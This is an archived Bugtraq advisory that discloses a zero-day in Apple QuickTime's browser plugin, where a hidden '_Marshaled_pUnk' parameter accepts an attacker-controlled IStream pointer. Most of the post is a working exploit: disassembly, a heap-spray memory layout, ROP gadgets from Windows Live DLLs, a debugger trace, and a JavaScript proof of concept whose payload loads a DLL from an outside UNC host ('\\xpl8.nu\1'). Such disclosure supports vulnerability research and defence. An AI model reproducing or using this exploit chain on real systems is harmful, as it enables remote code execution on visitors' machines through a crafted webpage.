Home page logo
/

bugtraq logo Bugtraq mailing list archives

[0day] Apple QuickTime "_Marshaled_pUnk" backdoor param arbitrary code execution
From: Reversemode <advisories () reversemode com>
Date: Mon, 30 Aug 2010 17:13:42 +0200


_____________________________________

HTML Version
http://www.reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1
______________________________________


The scenario would be as follows:

Victim prerequisites:

* Internet Explorer.
* XP,Vista,W7.
* Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older
versions not checked )

1. Victim is enticed into visiting, by any mean, a specially crafted
webpage.
2. Attacker's payload to be executed under the context of the browser.
3. Attacker calls his girlfriend to inform about the successful
exploitation, who indeed turns out to be very interested in the issue.
She demands more technical details.
4. Attacker wakes up.


Technical details

QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle
params received from where it is embedded, including HTML documents.

Let's take a look

.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E
=======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330    proc near               ; DATA XREF:
.rdata:1002E0ECo
.text:1000E330                                         ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0           = dword ptr  4
.text:1000E330 arg_4           = dword ptr  8
.text:1000E330 arg_8           = dword ptr  0Ch
.text:1000E330
.text:1000E330                 push    esi
.text:1000E331                 mov     esi, [esp+4+arg_0]
.text:1000E335                 mov     ecx, [esi+84h]
.text:1000E33B                 xor     eax, eax
.text:1000E33D                 test    ecx, ecx
.text:1000E33F                 jz      short loc_1000E393
.text:1000E341                 mov     eax, [esp+4+arg_8]
.text:1000E345                 mov     edx, [esp+4+arg_4]
.text:1000E349                 push    eax
.text:1000E34A                 push    edx
.text:1000E34B                 call    sub_100031F0



Following the flow...

sub_10002980+27A
sub_10002980+27A  loc_10002BFA:                           ; CODE XREF:
sub_10002980+266j
sub_10002980+27A                                          ;
sub_10002980+272j
sub_10002980+27A                  push    offset aType    ; "type"
sub_10002980+27F                  push    ebx             ; lpString1
sub_10002980+280                  call    ebp ; lstrcmpiA
sub_10002980+282                  test    eax, eax
sub_10002980+284                  jnz     short loc_10002C22
sub_10002980+286                  push    edi             ; lpString
sub_10002980+287                  call    ds:lstrlenA
sub_10002980+28D                  cmp     eax, 104h
sub_10002980+292                  jnb     short loc_10002C22
sub_10002980+294                  push    edi             ; lpString2
sub_10002980+295                  lea     edx, [esi+83Ch]
sub_10002980+29B                  push    edx             ; lpString1
sub_10002980+29C                  call    ds:lstrcpyA
sub_10002980+2A2
sub_10002980+2A2  loc_10002C22:                           ; CODE XREF:
sub_10002980+284j
sub_10002980+2A2                                          ;
sub_10002980+292j
sub_10002980+2A2                  push    offset a_marshaled_pun ;
"_Marshaled_pUnk"
sub_10002980+2A7                  push    ebx             ; lpString1
sub_10002980+2A8                  call    ebp ; lstrcmpiA
sub_10002980+2AA                  test    eax, eax
sub_10002980+2AC                  jnz     short loc_10002C4A
sub_10002980+2AE                  push    edi
sub_10002980+2AF                  call    sub_10001310   ; SIMPLE ASCII
NUMBERS TO LONG routine
sub_10002980+2B4                  add     esp, 4
sub_10002980+2B7                  lea     ecx, [esi+13B8h]
sub_10002980+2BD                  push    ecx             ; ppv
sub_10002980+2BE                  push    offset iid      ; iid
sub_10002980+2C3                  push    eax             ; pStm
sub_10002980+2C4                  call
ds:CoGetInterfaceAndReleaseStream  ; WE HAVE A WINNER!!
sub_10002980+2CA
sub_10002980+2CA  loc_10002C4A:                           ; CODE XREF:
sub_10002980+2ACj
sub_10002980+2CA                  push    edi             ; int



Oops! programming rules state that hidden properties should be prececed
by "_" so this property matches the requirement. It's time to google
"_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for
Quicktime does not even mention it. Weird.

What's is going on here?

QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within
object's attributes, if so, unmarshals it by converting the address from
its ascii representation into a numerical one ( sub_10001310 ). Then, it
uses the resulting pointer as pStm,"A pointer to the IStream interface
on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in
order to obtain the IUnknown pointer (pUnk from now on) of the
marshalled interface. This method is pretty common for sharing interface
pointers between threads within COM enabled scenarios ( e.g browsers +
plugins ).

So we are controlling an IStream pointer, which is good :)

However at this point the things didn't make sense for me. Despite of
the fact that a CPluginHost object's variable holds this pointer
(pPlugin+0x13b8), pUnk is never used,. According to the COM model, this
pointer shouldn't be used by any other thread. Why in the hell an apple
engineer implemented this? A conspiration between NSA, FSB and the
bloody Andorra's secret service may be possible but I think there must
be another explanation.

Back to the future

So I am downloading an older version of QTPlugin.ocx, which dates from
2004 (6.5.1.17), to try to explain an issue in 2010, cool.

Module: QTPlugin.ocx
.text:6670BE86                 mov     eax, [ebp+1480h ; pPlugin->pUnk ]
.text:6670BE8C                 cmp     eax, edi
.text:6670BE8E                 jz      short loc_6670BEF7
.text:6670BE90                 lea     edx, [esp+7Ch+pHandles]
.text:6670BE97                 mov     [esp+7Ch+pHandles], edi
.text:6670BE9E                 mov     ecx, [eax]
.text:6670BEA0                 push    edx
.text:6670BEA1                 push    offset dword_667214C8 ;
IID_IViewObject
.text:6670BEA6                 push    eax
.text:6670BEA7                 call    dword ptr [ecx]  ;
pUnk->QueryInterface(IID_IViewObject,pView)
.text:6670BEA9                 test    eax, eax
.text:6670BEAB                 jl      short loc_6670BEF7
.text:6670BEAD                 mov     edx, [esp+7Ch+arg_10]
.text:6670BEB4                 push    edi
.text:6670BEB5                 push    edi
.text:6670BEB6                 mov     eax, [esp+84h+pHandles]
.text:6670BEBD                 push    edx
.text:6670BEBE                 mov     edx, [esp+88h+arg_C]
.text:6670BEC5                 mov     ecx, [eax]
.text:6670BEC7                 push    edx
.text:6670BEC8                 mov     edx, [esp+8Ch+hdc]
.text:6670BECF                 push    edx
.text:6670BED0                 mov     edx, [esp+90h+arg_4]
.text:6670BED7                 push    esi
.text:6670BED8                 push    edi
.text:6670BED9                 push    edi
.text:6670BEDA                 push    0FFFFFFFFh
.text:6670BEDC                 push    edx
.text:6670BEDD                 push    eax
.text:6670BEDE                 call    dword ptr [ecx+0Ch] ;
pView->Draw(...)



Reversing this function we can see that, in certain cases, QTPlugin.ocx
could be instructed to draw contents onto an existing window instead of
creating a new one. Mistery solved.

However, although this functionality was removed in newer versions, the
param is still present. Why? I guess someone forgot to clean up the code .

Exploiting it

We are controlling the IStream Pointer passed to
CoGetInterfaceAndReleaseStream, at a certain point during the execution
flow of this function, an IStream method is going to be referenced.

ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface ->
ole32!ReadObjRef -> ole32!StRead < = p0wn!!

So all we need to do is emulate a fake IStream interface in memory. How?
aligned heap spray FTW!

This is how our sprayed block would look in memory

Heap       Value
15220c20  15220c18  // Fake VTable pointer
15220c24  29527ae7  // gadget1 WindowsLiveLogin
15220c28  27582d63  // gadget2  msidcrl40.dll
15220c2c  15220d08  // pParam for LoadLibrary (DLL UNC PATH )
15220c30  15220cbc  // -add     ecx, 0A0h, mov     eax, [ecx]...- gadget2
15220c34  15220cbc
15220c38  15220cbc
15220c3c  15220cbc
15220c40  15220cbc
15220c44  15220cbc
15220c48  15220cbc
15220c4c  15220cbc
15220c50  15220cbc
15220c54  15220cbc
15220c58  15220cbc
15220c5c  15220cbc
15220c60  15220cbc
15220c64  15220cbc
15220c68  15220cbc
[...]
15220c98  15220cbc
15220c9c  15220cbc
15220ca0  15220cbc
15220ca4  15220cbc
15220ca8  15220cbc
15220cac  15220cbc
15220cb0  15220cbc
15220cb4  15220cbc
15220cb8  15220cbc
15220cbc  15220cbc
15220cc0  15220cbc
15220cc4  15220cbc
15220cc8  295481e8
15220ccc  295481e8   // LoadLibraryA
15220cd0  295481e8
15220cd4  295481e8
15220cd8  295481e8
15220cdc  295481e8
15220ce0  295481e8
15220ce4  295481e8
15220ce8  295481e8
15220cec  295481e8
15220cf0  295481e8
15220cf4  295481e8
15220cf8  295481e8
15220cfc  295481e8
15220d00  295481e8
15220d04  295481e8
15220d08  70785c5c  // DLL UNC PATH  "\\xpl8.nu\1"
15220d0c  6e2e386c
15220d10  00315c75


Data is sprayed in such a manner we know that, despite of ASLR, at
0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.

As you can see a couple of gadgets are used, since this is a ROP
exploit, however esp is not controlled at all. I'm taking advantage of
common code generated by c++ compilers to control parameters and execution.

The gadgets come from Windows Live messenger dlls that are loaded by
default on IE and have no ASLR flag.


0x29527AE7 WindowsLiveLogin.dll gadget1

mov     edx, [esi+0Ch]
mov     eax, [esi+8]
push    edi
push    offset dword_29501B68
push    edx
call    eax

0x27582D63 msidcrl40.dll gadget2

add     ecx, 0A0h
mov     eax, [ecx]
mov     eax, [eax+10h]
pop     ebp
jmp     eax




stepping into the payload

ole32!StRead+0x15:
75c9af58 ff510c          call    dword ptr [ecx+0Ch]
ds:0023:15220c24=29527ae7
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20
edi=02c139d0
eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x937:
29527ae7 8b560c          mov     edx,dword ptr [esi+0Ch]
ds:0023:15220c2c=15220d08

0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aea esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93a:
29527aea 8b4608          mov     eax,dword ptr [esi+8]
ds:0023:15220c28=27582d63

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aed esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93d:
29527aed 57              push    edi

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aee esp=02c13948 ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93e:
29527aee 68681b5029      push    offset WindowsLiveLogin+0x1b68 (29501b68)

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x943:
29527af3 52              push    edx

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x944:
29527af4 ffd0            call    eax {msidcrl40!EnumerateDeviceID+0xa113
(27582d63)}

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na
po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
msidcrl40!EnumerateDeviceID+0xa113:
27582d63 81c1a0000000    add     ecx,0A0h

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa119:
27582d69 8b01            mov     eax,dword ptr [ecx]
ds:0023:15220cb8=15220cbc

0:004> t
eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11b:
27582d6b 8b4010          mov     eax,dword ptr [eax+10h]
ds:0023:15220ccc=295481e8

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11e:
27582d6e 5d              pop     ebp

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11f:
27582d6f ffe0            jmp     eax
{WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
WindowsLiveLogin!DllUnregisterServer+0x1f588:
295481e8 ff15f8105029    call    dword ptr [WindowsLiveLogin+0x10f8
(295010f8)]
ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}

0:004> db poi(esp)
15220d08  5c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00
\\xpl8.nu\1.....    p0wn!!


Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC
payload seems not very dangerous...isn't it? ;)

The exploit defeats ASLR+DEP and has been successfully tested on W7,
Vista and XP.

A metasploit module should be available soon since I sent the exploit
details to Josuah Drake some days before releasing this advisory.
PoC:

addr = 354552864; // 0x15220C20 [pUnk]
var obj=  '<' + 'object
classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0"
height="0"'+'>'
           +'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
           +'<'+'/'+'object>';


  By Date           By Thread  

Current thread:
  • [0day] Apple QuickTime "_Marshaled_pUnk" backdoor param arbitrary code execution Reversemode (Aug 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault